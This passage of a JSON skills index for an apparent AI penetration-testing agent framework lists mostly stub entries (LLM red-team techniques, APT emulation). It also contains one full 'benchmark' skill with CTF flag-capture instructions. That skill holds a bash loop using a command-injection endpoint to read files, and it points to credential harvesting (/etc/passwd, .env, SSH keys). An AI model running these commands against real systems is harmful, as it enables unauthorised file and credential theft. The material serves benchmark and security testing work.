commands.","license":"Apache-2.0","metadata":{"version":"2.1.0","homepage":"https://github.com/BitterSecurity/Decepticon"}},"isInternal":false,"tokens":1248,"sizeBytes":5400},{"name":"NOTICE.md","path":"packages/decepticon/decepticon/sandbox_web/NOTICE.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/sandbox_web/NOTICE.md","title":"Sandbox_web Skill","category":"anthropic-skill","format":"markdown","content":"# Sandbox_web Skill\n\nPath: `packages/decepticon/decepticon/sandbox_web/NOTICE.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/sandbox_web/NOTICE.md)","tokens":300,"sizeBytes":227},{"name":"package.json","path":"packages/decepticon/decepticon/sandbox_web/templates/package.json","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/sandbox_web/templates/package.json","title":"Templates Skill","category":"anthropic-skill","format":"json","content":"# Templates Skill\n\nPath: `packages/decepticon/decepticon/sandbox_web/templates/package.json`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/sandbox_web/templates/package.json)","tokens":300,"sizeBytes":251},{"name":"waf_profiles.yaml","path":"packages/decepticon/decepticon/sandbox_web/waf_profiles.yaml","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/sandbox_web/waf_profiles.yaml","title":"Sandbox_web Skill","category":"anthropic-skill","format":"yaml","content":"# Sandbox_web Skill\n\nPath: `packages/decepticon/decepticon/sandbox_web/waf_profiles.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/sandbox_web/waf_profiles.yaml)","tokens":300,"sizeBytes":243},{"name":"subdomains.yaml","path":"packages/decepticon/decepticon/skill_audit/subdomains.yaml","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skill_audit/subdomains.yaml","title":"Skill_audit Skill","category":"anthropic-skill","format":"yaml","content":"# Skill_audit Skill\n\nPath: `packages/decepticon/decepticon/skill_audit/subdomains.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skill_audit/subdomains.yaml)","tokens":300,"sizeBytes":239},{"name":"asset_types.yaml","path":"packages/decepticon/decepticon/skillogy/builder/seeds/asset_types.yaml","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skillogy/builder/seeds/asset_types.yaml","title":"Seeds Skill","category":"anthropic-skill","format":"yaml","content":"# Seeds Skill\n\nPath: `packages/decepticon/decepticon/skillogy/builder/seeds/asset_types.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skillogy/builder/seeds/asset_types.yaml)","tokens":300,"sizeBytes":257},{"name":"moc.yaml","path":"packages/decepticon/decepticon/skillogy/builder/seeds/moc.yaml","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skillogy/builder/seeds/moc.yaml","title":"Seeds Skill","category":"anthropic-skill","format":"yaml","content":"# Seeds Skill\n\nPath: `packages/decepticon/decepticon/skillogy/builder/seeds/moc.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skillogy/builder/seeds/moc.yaml)","tokens":300,"sizeBytes":241},{"name":"phases.yaml","path":"packages/decepticon/decepticon/skillogy/builder/seeds/phases.yaml","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skillogy/builder/seeds/phases.yaml","title":"Seeds Skill","category":"anthropic-skill","format":"yaml","content":"# Seeds Skill\n\nPath: `packages/decepticon/decepticon/skillogy/builder/seeds/phases.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skillogy/builder/seeds/phases.yaml)","tokens":300,"sizeBytes":247},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/benchmark/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/benchmark/SKILL.md","title":"benchmark","category":"anthropic-skill","format":"markdown","content":"---\nname: benchmark\ndescription: \"Benchmark mode marker — engagement objective is flag capture. Generic engagement rules apply unchanged.\"\nallowed-tools: Bash Read Write\nmetadata:\n subdomain: benchmark\n when_to_use: \"benchmark, ctf, challenge, flag capture\"\n tags: benchmark, ctf\n upstream_ref: \"XBOW validation-benchmarks + Decepticon CTF mode marker\"\n---\n\n# Benchmark Mode\n\nThe engagement objective is **flag capture**. Per-challenge context\n(target URL, vulnerability tags, flag format, mission brief, extra\nservice ports) is injected into the system message every model call by\n`EngagementContextMiddleware` — read it; do NOT duplicate it here, and\ndo NOT ask the operator for it.\n\n## Suspended CRITICAL_RULES under benchmark mode\n\n- Rule 8 (Startup Required) — flag IS the deliverable; no roe/conops/deconfliction.\n- Rule 9 (Final Report) — no executive summary; the flag string is the report.\n\nAll other CRITICAL_RULES remain active. Recon→exploit ordering, OPPLAN\ndiscipline, no-bash-in-orchestrator, tag routing, OPSEC, and budget\npacing live in their owning prompts/skills (see `decepticon.md` Rules\n20/22, the recon/exploit agent prompts, and `/skills/standard/exploit/web/SKILL.md`\nfor vuln routing).\n\n## SHORT-CIRCUIT — flag/credential found\n\nWhen a sub-agent (recon or exploit) returns a verified flag or\nflag-equivalent credential:\n\n1. Record the verified flag evidence on its active objective and mark it complete. Cancel remaining pending or blocked objectives through the injected OPPLAN workflow.\n2. Your VERY NEXT response is the final answer, re-echoing the flag\n VERBATIM in the format announced by the middleware (e.g.\n `Flag captured: FLAG{}`). The harness scans ONLY the\n orchestrator's final message — if the flag string lives only inside\n a sub-agent return, it is LOST.\n\n## Flag-path sweep (after RCE confirmed)\n\nGeneric skills under `/skills/standard/exploit/web/` (`command-injection/SKILL.md`, `cve/SKILL.md`, etc.) cover credential/secret extraction but intentionally exclude CTF flag conventions. Once any RCE primitive is confirmed (`id`, `hostname`, or arbitrary file read), run this single batched sweep — do NOT issue one curl per path:\n\n```bash\n# CTF flag-path conventions — XBOW / picoCTF / HackTheBox / TryHackMe overlap.\nfor f in /opt/flag.txt /flag /flag.txt /root/flag.txt /root/flag \\\n /home/*/flag.txt /home/*/flag /tmp/flag.txt /tmp/flag \\\n /var/www/flag.txt /var/www/html/flag.txt /srv/flag.txt /srv/flag; do\n result=$(curl -s \"http:///?cmd=cat+$f\" 2>/dev/null | head -5)\n [ -n \"$result\" ] && echo \"=== $f ===\" && echo \"$result\"\ndone | tee /tmp/flag_sweep.txt\nhead -50 /tmp/flag_sweep.txt\n\n# Broad flag-filename find (when path is non-standard)\ncurl -s \"http:///?cmd=find+/+-type+f+\\(-name+'flag*'-o+-name+'FLAG*'\\)+-not+-path+'/proc/*'+-not+-path+'/sys/*'+2>/dev/null\" \\\n -o /tmp/find_flag.txt\nhead -20 /tmp/find_flag.txt\n```\n\nReplace `` with the confirmed injection endpoint. If the flag's `format` (e.g. `FLAG{...}`, `flag{...}`, `CTF{...}`) was announced by the middleware, additionally grep the harvest for that prefix:\n\n```bash\ngrep -hoE '(FLAG|flag|CTF)\\{[^}]+\\}' /tmp/flag_sweep.txt /tmp/find_flag.txt | sort -u\n```\n\nThe generic credential harvest (`/etc/passwd`, `.env`, configs, SSH keys, secret/cred/token files) lives in `/skills/standard/exploit/web/command-injection/SKILL.md` — run BOTH sweeps post-RCE; flag-path first (objective), credential second (lateral).\n\n## Tag → Skill Routing Table (BENCHMARK FAST-PATH)\n\nBenchmark mode pre-declares `Vulnerability tags:` in the engagement context, leaking the\nchallenge's intended attack class. **In real engagements no such metadata exists** — agents\ndiscover the class through the domain router skill applied to recon's raw observations.\nThis table is the canonical fast-path for the benchmark shortcut and the **only** place\nthis mapping lives. Generic agent prompts (`recon.md`, `exploit.md`, `decepticon.md`)\nintentionally do not encode it — they route via the domain router skills\n(`/skills/standard/exploit//SKILL.md`) on observation evidence.\n\n**Consumer**: the orchestrator (`decepticon.md`). When dispatching exploit, the orchestrator\nmay consult this table to pick the matching sub-skill directly from the pre-declared tags,\nskipping the observation-based router classification. **Recon does NOT consume this table**\n— recon's role is observation, not classification or skill recommendation.\n\n| `Vulnerability tag` | `/skills/standard/exploit/web//SKILL.md` |\n|---|---|\n| `sqli` | `sqli.md` |\n| `blind_sqli` | `blind-sqli.md` (load with `sqli.md` when sqlmap+tamper is exhausted) |\n| `xss` | `xss.md` |\n| `ssti` | `ssti.md` |\n| `ssrf` | `ssrf.md` |\n| `xxe` | `xxe.md` |\n| `lfi` | `lfi.md` |\n| `path_traversal` | `lfi.md` |\n| `command_injection` | `command-injection.md` |\n| `insecure_deserialization` | `deserialization.md` |\n| `idor` | `idor.md` |\n| `arbitrary_file_upload` | `file-upload.md` |\n| `file_upload` | `file-upload.md` |\n| `graphql` | `graphql.md` |\n| `race_condition` | `race-condition.md` |\n| `smuggling` | `smuggling.md` |\n| `crypto` | `crypto.md` |\n| `business_logic` | `business-logic.md` |\n| `default_credentials` | `business-logic.md` |\n| `jwt` | `business-logic.md` (no dedicated file) |\n| `cve` | `cve.md` |\n\nFor multiple tags → emit one `REQUIRED SKILL LOAD:` line per mapped skill.\n\n## What this skill is NOT\n\n- vulnerability routing → `/skills/standard/exploit/{web,ad}/SKILL.md`\n- recon playbooks → `/skills/standard/recon//SKILL.md`\n- OPSEC → `/skills/shared/opsec/SKILL.md`\n- per-challenge context → middleware-injected, every turn\n- agent-specific behavior → that agent's prompt and `/skills//`\n","frontmatter":{"name":"benchmark","description":"Benchmark mode marker — engagement objective is flag capture. Generic engagement rules apply unchanged.","allowed-tools":"Bash Read Write","metadata":{"subdomain":"benchmark","when_to_use":"benchmark, ctf, challenge, flag capture","tags":"benchmark, ctf","upstream_ref":"XBOW validation-benchmarks + Decepticon CTF mode marker"},"allowedTools":["Bash","Read","Write"]},"allowedTools":["Bash","Read","Write"],"isInternal":false,"tokens":1583,"sizeBytes":6136},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/detector/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/detector/SKILL.md","title":"detector","category":"anthropic-skill","format":"markdown","content":"# detector\n\nPath: `packages/decepticon/decepticon/skills/plugins/detector/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/detector/SKILL.md)","tokens":300,"sizeBytes":240},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/exploiter/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/exploiter/SKILL.md","title":"exploiter","category":"anthropic-skill","format":"markdown","content":"# exploiter\n\nPath: `packages/decepticon/decepticon/skills/plugins/exploiter/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/exploiter/SKILL.md)","tokens":300,"sizeBytes":243},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/llm-redteam/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/SKILL.md","title":"llm-redteam","category":"anthropic-skill","format":"markdown","content":"# llm-redteam\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/SKILL.md)","tokens":300,"sizeBytes":249},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/llm-redteam/t01-prompt-injection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t01-prompt-injection/SKILL.md","title":"t01-prompt-injection","category":"anthropic-skill","format":"markdown","content":"# t01-prompt-injection\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t01-prompt-injection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t01-prompt-injection/SKILL.md)","tokens":300,"sizeBytes":300},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/llm-redteam/t02-linguistic-evasion/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t02-linguistic-evasion/SKILL.md","title":"t02-linguistic-evasion","category":"anthropic-skill","format":"markdown","content":"# t02-linguistic-evasion\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t02-linguistic-evasion/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t02-linguistic-evasion/SKILL.md)","tokens":300,"sizeBytes":306},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/llm-redteam/t03-reasoning-exploit/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t03-reasoning-exploit/SKILL.md","title":"t03-reasoning-exploit","category":"anthropic-skill","format":"markdown","content":"# t03-reasoning-exploit\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t03-reasoning-exploit/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t03-reasoning-exploit/SKILL.md)","tokens":300,"sizeBytes":303},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/llm-redteam/t04-memory-manipulation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t04-memory-manipulation/SKILL.md","title":"t04-memory-manipulation","category":"anthropic-skill","format":"markdown","content":"# t04-memory-manipulation\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t04-memory-manipulation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t04-memory-manipulation/SKILL.md)","tokens":300,"sizeBytes":309},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/llm-redteam/t05-api-exploitation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t05-api-exploitation/SKILL.md","title":"t05-api-exploitation","category":"anthropic-skill","format":"markdown","content":"# t05-api-exploitation\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t05-api-exploitation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t05-api-exploitation/SKILL.md)","tokens":300,"sizeBytes":300},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/llm-redteam/t06-training-poisoning/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t06-training-poisoning/SKILL.md","title":"t06-training-poisoning","category":"anthropic-skill","format":"markdown","content":"# t06-training-poisoning\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t06-training-poisoning/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t06-training-poisoning/SKILL.md)","tokens":300,"sizeBytes":306},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/llm-redteam/t07-output-exfil/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t07-output-exfil/SKILL.md","title":"t07-output-exfil","category":"anthropic-skill","format":"markdown","content":"# t07-output-exfil\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t07-output-exfil/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t07-output-exfil/SKILL.md)","tokens":300,"sizeBytes":288},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/llm-redteam/t08-deception/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t08-deception/SKILL.md","title":"t08-deception","category":"anthropic-skill","format":"markdown","content":"# t08-deception\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t08-deception/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t08-deception/SKILL.md)","tokens":300,"sizeBytes":279},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/llm-redteam/t09-multimodal/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t09-multimodal/SKILL.md","title":"t09-multimodal","category":"anthropic-skill","format":"markdown","content":"# t09-multimodal\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t09-multimodal/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t09-multimodal/SKILL.md)","tokens":300,"sizeBytes":282},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/llm-redteam/t10-confidentiality-breach/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t10-confidentiality-breach/SKILL.md","title":"t10-confidentiality-breach","category":"anthropic-skill","format":"markdown","content":"# t10-confidentiality-breach\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t10-confidentiality-breach/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t10-confidentiality-breach/SKILL.md)","tokens":300,"sizeBytes":318},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/llm-redteam/t11-agentic-exploit/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t11-agentic-exploit/SKILL.md","title":"t11-agentic-exploit","category":"anthropic-skill","format":"markdown","content":"# t11-agentic-exploit\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t11-agentic-exploit/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t11-agentic-exploit/SKILL.md)","tokens":300,"sizeBytes":297},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/llm-redteam/t12-rag-poisoning/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t12-rag-poisoning/SKILL.md","title":"t12-rag-poisoning","category":"anthropic-skill","format":"markdown","content":"# t12-rag-poisoning\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t12-rag-poisoning/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t12-rag-poisoning/SKILL.md)","tokens":300,"sizeBytes":291},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/llm-redteam/t13-supply-chain/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t13-supply-chain/SKILL.md","title":"t13-supply-chain","category":"anthropic-skill","format":"markdown","content":"# t13-supply-chain\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t13-supply-chain/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t13-supply-chain/SKILL.md)","tokens":300,"sizeBytes":288},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/llm-redteam/t14-infra-warfare/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t14-infra-warfare/SKILL.md","title":"t14-infra-warfare","category":"anthropic-skill","format":"markdown","content":"# t14-infra-warfare\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t14-infra-warfare/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t14-infra-warfare/SKILL.md)","tokens":300,"sizeBytes":291},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/llm-redteam/t15-human-ai-coupling/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t15-human-ai-coupling/SKILL.md","title":"t15-human-ai-coupling","category":"anthropic-skill","format":"markdown","content":"# t15-human-ai-coupling\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/t15-human-ai-coupling/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/t15-human-ai-coupling/SKILL.md)","tokens":300,"sizeBytes":303},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/patcher/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/patcher/SKILL.md","title":"patcher","category":"anthropic-skill","format":"markdown","content":"# patcher\n\nPath: `packages/decepticon/decepticon/skills/plugins/patcher/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/patcher/SKILL.md)","tokens":300,"sizeBytes":237},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/scanner/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/scanner/SKILL.md","title":"scanner","category":"anthropic-skill","format":"markdown","content":"# scanner\n\nPath: `packages/decepticon/decepticon/skills/plugins/scanner/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/scanner/SKILL.md)","tokens":300,"sizeBytes":237},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/verifier/bounty-report/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/verifier/bounty-report/SKILL.md","title":"bounty-report","category":"anthropic-skill","format":"markdown","content":"# bounty-report\n\nPath: `packages/decepticon/decepticon/skills/plugins/verifier/bounty-report/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/verifier/bounty-report/SKILL.md)","tokens":300,"sizeBytes":273},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/verifier/seven-question-gate/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/verifier/seven-question-gate/SKILL.md","title":"seven-question-gate","category":"anthropic-skill","format":"markdown","content":"# seven-question-gate\n\nPath: `packages/decepticon/decepticon/skills/plugins/verifier/seven-question-gate/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/verifier/seven-question-gate/SKILL.md)","tokens":300,"sizeBytes":291},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/verifier/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/verifier/SKILL.md","title":"verifier","category":"anthropic-skill","format":"markdown","content":"# verifier\n\nPath: `packages/decepticon/decepticon/skills/plugins/verifier/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/verifier/SKILL.md)","tokens":300,"sizeBytes":240},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/plugins/vulnresearch/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/vulnresearch/SKILL.md","title":"vulnresearch","category":"anthropic-skill","format":"markdown","content":"# vulnresearch\n\nPath: `packages/decepticon/decepticon/skills/plugins/vulnresearch/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/vulnresearch/SKILL.md)","tokens":300,"sizeBytes":252},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/apt10-stone-panda/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt10-stone-panda/SKILL.md","title":"apt10-stone-panda","category":"anthropic-skill","format":"markdown","content":"# apt10-stone-panda\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt10-stone-panda/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt10-stone-panda/SKILL.md)","tokens":300,"sizeBytes":305},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/apt28-fancy-bear/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt28-fancy-bear/SKILL.md","title":"apt28-fancy-bear","category":"anthropic-skill","format":"markdown","content":"# apt28-fancy-bear\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt28-fancy-bear/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt28-fancy-bear/SKILL.md)","tokens":300,"sizeBytes":302},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/apt29-cozy-bear/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt29-cozy-bear/SKILL.md","title":"apt29-cozy-bear","category":"anthropic-skill","format":"markdown","content":"# apt29-cozy-bear\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt29-cozy-bear/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt29-cozy-bear/SKILL.md)","tokens":300,"sizeBytes":299},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/apt33-elfin/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt33-elfin/SKILL.md","title":"apt33-elfin","category":"anthropic-skill","format":"markdown","content":"# apt33-elfin\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt33-elfin/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt33-elfin/SKILL.md)","tokens":300,"sizeBytes":287},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/apt34-oilrig/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt34-oilrig/SKILL.md","title":"apt34-oilrig","category":"anthropic-skill","format":"markdown","content":"# apt34-oilrig\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt34-oilrig/SKILL.md`\n\n[View Raw Content on 